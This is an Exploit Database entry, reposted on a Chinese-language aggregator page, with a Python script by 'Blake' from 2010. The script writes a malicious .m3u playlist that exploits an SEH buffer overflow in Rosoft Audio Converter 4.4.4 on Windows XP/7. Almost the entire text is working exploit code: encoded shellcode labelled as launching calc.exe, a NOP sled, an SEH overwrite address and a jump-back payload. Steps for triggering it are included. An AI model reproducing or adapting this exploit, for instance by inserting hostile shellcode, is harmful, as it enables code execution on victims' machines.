Rosoft Audio Converter 4.4.4 – Local Buffer Overflow

• Exploit Database
• 25 阅读

• 作者： blake
  日期： 2010-06-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/13895/

• # Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
  # Date: June 14, 2010
  # Author: Blake
  # Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
  # Version: 4.4.4
  # Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
  # Instructions: create malicious file, open in audio converter, select save
  
  print "\n============================"
  print "Rosoft Audio Converter 4.4.4"
  print "Written by Blake"
  print " Tested on Windows XP SP3 "
  print "============================\n"
  
  # calc.exe
  sc =(
  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
  "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
  "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
  "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
  "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
  "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
  "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
  "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
  "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
  "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
  "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
  "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
  "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
  "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
  "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
  "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
  "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
  "\x4e\x46\x43\x36\x42\x50\x5a")
  
  buffer = "\x41" * (4083 - len(sc))
  nops = "\x90" * 20
  near_jmp = "\xe8\xf4\xef\xff\xff"	# jmp back	
  next_seh = "\xeb\xf9\x90\x90"	
  seh = "\xe7\xb3\x49\x00"	#Found pop eax -pop ebx -ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
  junk = "\xCC" * 25000
  
  print "[+] Creating malicious .m3u file"
  try:
  	file = open("blake.m3u","w")
  	file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
  	file.close()
  	print "[+] File created"
  except:
  	print "[x] Could not create file"
  
  raw_input("\nPress any key to exit...\n")